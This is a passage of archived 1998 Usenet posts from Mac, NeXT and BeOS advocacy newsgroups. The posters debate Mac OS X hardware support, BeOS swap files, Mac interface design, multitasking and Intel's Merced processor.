> I've read of a project to port BeOS API's to Yellow Box.
Uhhh, I think you mean to port YB to BeOS?
Maury
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Wed, 22 Jul 1998 15:56:58 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant221458bbaLJLo@om107.acorn.co.uk>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net> <6p1hll$f44$1@news10.ispnews.com> <6p4f9i$fpq$2@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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In article <6p4f9i$fpq$2@ironhorse.plsys.co.uk>, mmalcolm crawford
<URL:mailto:malcolm@plsys.co.uk> wrote:
> What about any *user*? A couple of months ago I had a genuine reason for
> opening about 150 windows in a single application. It made the task I was
> undertaking a *lot* easier.
Would you like to share that reason with us? In all my years of using
GUI's I've never had a genuine reason for opening more than about two
windows at a time. Curious to know what you were doing.
Dave
From: foconnor@c031.aone.net.au (Frank O'Connor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 17:23:13 +1000
Organization: Customer of Access One Pty Ltd, Melbourne, Australia
Message-ID: <foconnor-2207981723130001@d67-2.cpe.melbourne.aone.net.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0>
In article <joe.ragosta-2107980812360001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
>
>Win95 isn't as wonderful as you're pointing out. At the time of its
>release, a lot of people were talking about scrapping year old machines to
>get Win95 to run well. Heck, even for Win98, there was a MS press release
>recently suggesting that if people want to run Win98 without trouble, they
>should get a new PC.
Agreed. I've lost count of the number of Win 95 users I've pointed in the
direction of Win NT when their stability, security and administration
problems became so overwhelming that they decided they needed something
else. As a Mac user I have to say I don't mind NT at all ... until OS X
appears Apple has nothing that approaches it. If it wasn't for the
security and scalability problems NT would even supplant UNIX in my eyes.
>And don't even get me started on OS/2.
Actually I like OS/2 as well ... in many ways it's what I've been
screaming for in the MacOS for years. Memory protection, serious
multi-tasking (I once had 50-60 application sessions simultaneously
running under three different OS's ... OS/2, Win 3.1 and DOS ... and the
underpowered little PC I was running them on didn't even blink) and a high
degree of stability. However, it suffers from lack of native software,
lack of NT and 95/98 support .
That said ... if I want to get something serious done viz a viz graphics,
multimedia, and the like, with drag'n drop between applications, without
all the virus worries, and with a standardised application interface ... I
use my Mac.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 22 Jul 1998 15:31:18 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p50k6$b1o$2@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
aman@aman.com (A-Man) wrote:
> Just to throw another idea into this thread:
>
> There's a meme here that the Mac UI can begin to shed the remnants of
> previous small screen limitations. There are suggestions that various
> NeXT UI concepts can be used since more Mac users have larger screens
> these days. Well, that may not be true of a certain consumer portable
> computer to be released next year.
>
> It may soon be more important than ever that the Mac UI functions well and
> looks good on a 9" display...
Jeez, if by next year the best they can do is release a consumer portable
with *only* a 9" screen, they deserve what they can get. There's no excuse
today to release anything but an XGA screen. 12" XGA screens at a minimum.
The only current reason is to blow throw the remaining 800X600 displays.
Moreover, it would suck to be limited to an LCD of *one* machine. In
essence, one really lame portable display would be holding back everyone
else. Yea, that's a pretty messed up vision there; sadly, very consistent
with apple's past *strategic* decisions.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Wed, 22 Jul 1998 00:53:08 -0700
Message-ID: <see-below-2207980053080001@dynamic23.pm04.mv.best.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <6p406d$bc7$1@supernews.com>
In article <6p406d$bc7$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
> And NT was selected by whom, exactly?
Probably Congress...
.....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
.....................................................
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Wed, 22 Jul 1998 02:27:55 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p44c8$f0l$1@oak.prod.itd.earthlink.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net> <6p3l1p$qe9@lace.colorado.edu>
Jay Riley wrote in message <6p3l1p$qe9@lace.colorado.edu>...
>"Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com> :
>
>> Joe Ragosta wrote in message ...
>> >In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
>> ><malmrose@nospam.jetcity.com> wrote:
>>
>> >> > Well, you can't set the swap to *less* than that, although if you
>> >>>physically don't have that much space on your BeOS partition it
>>might
>> use less.
>>
>> >> "might use less" in actuality is "doesn't need any". If there isn't
>> >>enough free space for the minimum size swap file, no swap file is
>>used
>> at all. A swap file is not required. And the minimum swap size >>varies
>> depending on how much physical ram there is. I have 128MB, >>and the
>> minimum swap size is 1.5x. It would be nice to make it >>smaller, but
>> that's a pretty small gripe.
>>
>> >Hmmm. I notice that when someone wants to criticize Mac OS for its
>fixed
>> VM swap file, it's a very bad thing. But with BeOS, it's a pretty >small
>> gripe.
>>
>>
>> You have noted Earl Malmrose making that complaint about the MacOS? If
so,
>> then your statement is valid, otherwise you're just blowing hot air.
Not
>> that the BeOS swap file is really all that fixed, it just can't
>> be made smaller than 1.5x the memory size in the configuration(though
>> it can be smaller than that you just have to fight the system). It
should
>> be fixed though, since the solution wouldn't be that hard, would it?
>>
>
>I've got to defend Joe on this one.
If you want to.......
>There does seem to be a double standard, especially with those
cross->posting to the Mac advocacy group.
There is NO doublestandard if the SAME people are not involved. If
Earl Malmrose has NEVER said anything about the Mac's Virtual memory
problems while supporting Be's limits he HAS not created a doublestandard,
also if someone has opposed one and not said
anything about the other, there is also no doublestandard. There IS only
a doublestandard WHEN and ONLY WHEN someone endorses one for
the same faults he condemned another's. Otherwise you are just talking
about your ass.
> For example: multitasking was irrelevant to the PC crowd until MS >forced
everyone to adopt Windows and suddenly it was important, and >even more
important that it be the same flavor as Windows (ie pre->emptive versus
cooperative) even when end results were the same.
And it means jack-shit here. It only means anything when the same
people are involved in that act. Otherwise you're really just griping.
>Just because Earl Malmrose didn't post a Mac derisive remark (bully >for
you Earl for sticking to the higher ground BTW) doesn't invalidate >Joe's
point. At least not to my way of thinking.
It does to mine. You want to say someone has a double standard you
should say it to them and only them.
From: Peter Stegemann <pst@cocoon.infra.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Wed, 22 Jul 1998 09:48:49 +0200
Organization: University of technology, Furtwangen, Germany
Message-ID: <35B59961.EF2@cocoon.infra.de>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <Pine.LNX.3.95.980721102958.8608c-100000@rainier.virtual-impact.com>
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Corey wrote:
> things that make BeOS so cool to develop under is that people seem
> to have direct access to those in charge of designing the OS and
> that user input actually goes to future changes in the development
> of the OS itself - this is kinda cool.
I don't see this in the last time...
--
--- Peter Stegemann - BeOS veteran and tiny god of de.comp.os.be
*sing* ... we had joy, we had fun, we had PACMAN for the SUN ..
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 22 Jul 1998 15:54:30 GMT
Organization: University of Maryland, College Park
Message-ID: <6p51vm$k5l$1@hecate.umd.edu>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Joe Ragosta (joe.ragosta@dol.net) wrote:
: : When the 286 came out, lots of people were saying it was too much power
: > : for desktop machines and that it would only be used in servers.
: > : Ditto 386.
: > : Ditto 486.
: > : Ditto Pentium.
: >
: > This time, it may actually come to pass. Microsloth Office won't get
: > any faster on a 2.2 GHz Merced compared to a 400 MHz P II. before, there
: > was always a demand for faster and faster processors regardless of cost.
: > Now even the "low end" is fast enough for office type apps.
: That's always been true. By any reasonable standard, a Pentium MMX is fast
: enough for most people, but that doesn't stop the PII from selling like
: hotcakes.
: There are several factors to consider:
: 1. While MS Office today runs great on a 400 MHz PII, what happens when MS
: adds Chrome and other whiz-bang features. Heck, I read that Chrome
: _requires_ a 300 MHz PII MINIMUM.
: 2. What about games? The driving force for many home users (at least based
: on what you read in this newsgroup) appears to be games. I'm sure that
: there are features that would take advantage of a Merced
: (1024x768xmillions of colors at 100fps or whatever).
: 3. One-upsmanship. For many people, it's a keeping up with the Joneses
: kind of thing.
Intel would love nothing more than for everyone to demand or want the
latest and greatest. The most power that runs all the software the Joneses
have. As the main driver of the need for cpu cycles, MS software, slowly get
satiated with the amount of CPU power available, what will come to drive
the future need? Chrome? Games? "I have a faster computer than you"?
Those will drive various groups of people, they won't be the main drivers
that will make people purchase PC's in the $2K sweet spot.
: > : The only question is, "how long after its introduction will Merced make
: > : its way into consumer machines". The answer, I suspect, will depend on
: > : AMD's success with the K7 and how quickly Intel needs to have a consumer
: > : machine to keep K7 from taking sales away.
: >
: > Unfortunately I cannot explain it at this time, but K7 won't be competing
: > against Merced.
: That was my point (in case I didn't make it clear).
: Let's say that K7 really starts to make some inroads against PII. Intel is
: going to want to create something new to switch the market away again.
: Look at their frequent slot/socket changes. Intel can price its new chips
: almost wherever it wants and still make money (with the amount of profit
: varying, of course). If K7 gets 20% of the PII class market (not that I
: think this is likely), Intel may introduce Merced at a price that makes it
: worthwhile for people to jump. If K7 isn't a threat, Merced may be launced
: as a high priced server product.
K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
will probably try to market it as a server part, although I now think that
AMD has made a mistake wrt to K7.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 10:59:06 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news>
Mime-Version: 1.0
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In-Reply-To: <andyba-ya02408000R2107981835050001@news>
On Tue, 21 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > No, I don't have any better idea. That should not prevent Apple from
> > addressing this issue. Apple has the resources and people whose job it is
> > to come up with ideas to do these things.
> >
> > I can think of a few things, but I don't know whether they would really be
> > any better than what we have already.
>
> Maybe Apple has done the same thing, and determined that they weren't any
> better than the current OS.
Maybe Apple hasn't bothered trying. We can prove neither at the moment.
Forrest Cameranesi mentioned one solution that might be better than the
Mac OS's current way of handling this removable disk/mounting/ejecting
issue.
> > Not really. Applications will have to be modified to support Navigations
> > Services. None of the applications you have installed on your machine now
> > will support that when you plop Mac OS 8.5 on your machine.
> >
> > Furthermore, it has taken Apple 14 and a half years to fix this. This has
> > always been high on the list of complaints about the Mac UI for as long as
> > I remember. There is no reason why we couldn't have had something like
> > Navigation Services years ago. Apple just futzed away with other things.
>
> But that's an entirely different issue. If you want to discuss why Apple
> isn't exploring other options NOW, then maybe something will get changed.
> If you want to discuss why they didn't fix things a long time ago (and
> complain when they do fix things, that they didn't fix them sooner), then
> it's pretty much a worthless conversation.
Well, Apple doesn't seem to be exploring other options NOW, _AND_ Apple
has a history of taking many years to address flaws that Mac users have
pointed out time and time again.
> > > You sure have heard about Fitts' Law?
> >
> > Fitt's Law?
>
> You should probably be familiar with it before designing any menuing
> system.
Somebody else was kind enought to explain the issue to me.
I was already aware of that issue though I didn't know the name for it.
The menu system I propose does not represent a problem here since even
though they are fully movable floating windows, they can trivially be put
at one side or corner of the screen. As I've said in other posts, the
sides should probably be sticky so that it is easier to anchor the menu
windows to a side or corner.
Menu choices in this system don't represent a smaller target than the Mac
OS (in fact they are somewhat larger). Since they can be anchored to a
side/corner, they can be positioned to make it impossible to overshoot
them from some directions _just_like_the_Mac_OS_.
> See Tog on Interface. It may explain a lot of why the Apple menu
> system is the way it is.
>
> > > What I find curious is, that all of your suggested changes are
> > > incremental.
> >
> > Why is that curious?
>
> Because you're complaining one minute that all of Apple's UI changes have
> been incremental while the rest of the core functionality has "stagnated,"
> then you propose what are essentially incremental changes. Why do you fault
> Apple for taking the same approach that you yourself are taking?
Because Apple doesn't even seem to be doing that. We certainly have gotten
a lot of incremental updates, but the serious flaws in the UI have still
not been addressed.
What I see more of now is focus on themes and schemes. Those do not add
any significant functionality. They do not change the behaviors of the
current UI. They simply paint over the current UI. It has the potential to
be an interesting addition, but is not a significant advancement
evolutionary or revolutionary.
> > Indeed. Now ask yourself why Apple isn't exploring these things?
>
> How do you know they aren't?
I guess I dont, but I also see little evidence of it either.
Do you know that they are?
> > Why are
> > we going to be stuck with a Mac UI that still has a lot of problems?
>
> Who says we will?
Look at the screen shots of pre-release versions of Mac OS 8.5 that are up
in various places on the internet. There are a few needed changes, but a
lot of the flaws are still there.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 22 Jul 1998 08:30:14 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6p47um$9bi$1@news.cs.tu-berlin.de>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <6p453v$l00$1@nnrp1.dejanews.com>
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quinlan@intergate.bc.ca writes:
[MacOS multitasking]
>> And, that for most people, it
>> is sufficient...thus, we feel no need to switch to another OS to gain that
>> "advantage".
>Maybe. A lot of DOS advocates said this about the Macintosh...
Yup, pervasive multitasking allows working-styles that are simply not
possible with the current MacOS. For example, you simply start several
long-running tasks simultaneously and then go away to get some coffe
or maybe read the news, or simply get some other work done on the
computer. With MacOS, this isn't really possible.
For example, I have MacOS running in the BlueBox of my RDR-2 machine,
a G3/233. I needed to copy a couple of large directory trees so I
started several copies in the multi-threaded finder. There was a
noticeable drop in responsiveness with just one background copy,
after 3 the MacOS was all but unusable.
I though that I was obviously stressing the I/O system enough for
overall system performance to suffer, something that happens even
to the best systems (because I/O bandwidth is a shared and often
scarce resource). Switching back to Rhapsody, performance was
as snappy as ever, even though the background copies were still
happening at the same rate as before.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: macntodd@pacbell.net (Todd Stewart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Wed, 22 Jul 1998 01:36:14 -0700
Organization: Burping Dog Software
Message-ID: <macntodd-2207980136300001@0.0.0.0>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>
In article <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>, "Mark Micklich"
<SRFPCI1@pacbell.net> wrote:
>Embedded systems are quite capable of crashing if the "divide by zero" issue
snip
I've been meaning to give PacBell Internet a call to ask if they were
running NT. I've been suspecting it from the shitty quality of your news
service. Thanks for saving me the trouble. My ISP is run by a bunch of
NT geeks! Ick. Bye bye Pac Bell. Plonk!
Gotta make sure to check for UNIX before signing up for a new home service.
Todd Stewart
Software Engineer
3DO
Speaking for myself.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 16:30:12 GMT
Organization: I don't think so
Message-ID: <slrn6rc551.8j3.jason@jhste1.dyn.ml.org>
References: <35b3f756.0@news.depaul.edu> <B1DA8186-67C8F@206.165.43.17> <joe.ragosta-2207980902130001@wil103.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> >And, those OS/X fixes would have to be tested, and fixed, and
>> >maintained, and re-fixed, and debugged, and regression-tested, etc,
>> >as the OS continues to develop, which is an enormous amount of work
>> >when multiplied by all the different models.
>> Er, how many models are we talking about here?
>> There was only one or two licensed motherboard-designs for ALL PCI Macs and
>> clones. ALL Macs and clones used those designs. They were tested by Apple
>> and officially approved by Apple.
>I know of at least 3--Tsunami, Alchemy, and Nitro. In addition, the clone
>vendors modified the boards in many cases, sometimes running them at
>higher clock speeds, using different graphics chips, different cache
>design, and so on.
Catalyst, not Nitro. (Nitro is the 7500, right? Or is it the 8500? I can
never remember which was Nitro and which was TNT). Catalyst was used in
the 7200 and in several Power Computing models. I'm not aware of any
7500/8500/8600-based clones (frankly, I always wondered why Apple had
6 PCI motherboards anyway - 7 if you include Gossamer; TNT/Nitro was a
redundancy, as was Alchemy/Tanzania/Catalyst).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 11:39:18 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722113521.22438G-100000@ux8.cso.uiuc.edu>
References: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <id_est-2007982313050001@192.168.1.3> <35B3AFAA.16BA@earthlink.net> <6p2m3h$6q8$3@news01.deltanet.com>
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On Tue, 21 Jul 1998, Scott Ellsworth wrote:
> In article <35B3AFAA.16BA@earthlink.net>, skellener@earthlink.net wrote:
> >tse_di wrote:
> >> The distinction is that the chips that control things like the the SCSI,
> >> PCI, ADB, Video, memory and other things ARE different.
> >But Apple made the damn things! If anyone can support these things its
> >Apple! It's not like getting Dell to right some driver for a HP...It's
> >their own design!
>
> There is no question that they _can_ do it. The question is whether
> it is worth it for them to do so. Given what NS used to run on, they
> could also do a port to the 040 boxes if they wanted to. Few would
> think that a good idea.
I doubt performance would be good which is the only reason why porting
back to the 040 Macs probably wouldn't be a good idea. Otherwise it might
be a good idea. The time to do it might be a major obstacle though.
> There is information that we lack lack - an estimate of the amount of
> time it would take to bring up Rhapsody on a given machine, the time
> needed to find and fix all of the bugaboos, and the time it would take
> to test the resulting box. I hope Apple has this information
> carefully written up, so that when people like me complain about the
> lack of support for the clone machines, they can decide whether it is
> worth it.
This is just the thing. Mac OS X drops support for machines
already supported by Rhapsody. Mac OS X has the same foundations (updated
and modified, but not as drastically different as Mac OS->Rhapsody).
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Wed, 22 Jul 1998 12:48:27 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <christian.bau-2207981248270001@christian-mac.isltd.insignia.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6p443i$iom$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> So we should just accept that we have to buy a news machine every time Apple
> wants to improve it's bottom line?
What about a bit of reality check? MacOS X is not here. Nobody knows what
it will or will not run on. Windows98 is there. And it doesnt run on a
very significant amount of machines.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 10:12:37 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-093.phx.primenet.com
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References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>
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In article <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Amelio and company said shortly after NeXT was purchased that all Macs
> shipping on and after 97-01-01 would run Apple's "next generation OS" (I
> could probably dig up a quote from Apple's web-pages but I'm typing this
> off-line). They did promise it alright.
So let's see: 1997 macs would include 8600,9500/600, a few performas,
powerbook 1400/5300, etc. Mac OS X Server might run on a good chunk of
these, and arguably it is the real child of the NeXT purchase, not Mac OS
X.
If the above is true, I can see your point. But it is still an oral
promise, said by a man who was out on his can less than 6 months later. It
wasn't in writing; I didn't get a note with the packing list of my 7500
stating "This hardware will one day run the next-generation Mac OS." And
now Jobs is in charge--how many new CEOs (even temp CEOs) feel bound by
the promises of their predecessors? Amelio didn't try to ressurrect
Copland when he was brought in, luckily.
> > with my hardware when I bought it. I bought a 7500 just before Rhapsody
> > was announced, and by every indication Mac OS X will probably run on it.
>
> Unfortunately it looks like every indication points in the direction
> that OS X won't run on your 7500.
Yes, this is true--I meant to say Mac Os Server. *That* should probably
run, though it won't be "supported." What do I care, it is running BeOS
very well right now! ;-)
> > Apple never "promised" me anything about next-generation OS, other than
> > one would be written some day. Can anyone find a statement, in wiritng,
> > sent to all Mac users, that said "these xxx models will be supported with
> > our future next-generation OS?"
>
> That's exactly what they said. "All Macs shipping on or after 97-01-01
> will be able to run our next generation OS."
Perhaps--but what was their next generation OS they had in mind at that
moment? They were looking at OpenStep (which runs on 040, Intel, and PPC)
and thinking it was the future. This is no longer the case--OS X will
probably only have the kernel and a few snippets, plus yellow box--it
won't resemble OpenStep at all.
> I agree that there have been too many crashed attempts at getting the
> modern OS right. I've managed to keep content so far because I have
> bought into Apple's salespitch. But when they are changing the terms,
> well if no-one noticed yet, let's just say it pisses me off.
Really! ;-)
> > If you're such a doomsayer, why don't you get out right now? 400 MHz PIIs
I want to apologize for the above comment--it was very harsh. You are
obviously a faithful mac user, or you wouldn't feel so passionately about
the subject.
> I'm not a doomsayer. I'm just noticing how many Mac-users feel betrayed
> by the latest events. I'd say that many of the people that bought first
> gen. PCI Macs were the die-hard-Mac-users -- afterall there weren't to
> many others around to buy Macs at that time with Apple bleeding money
> and getting bashed in the press. Now many of these loyal users (judging
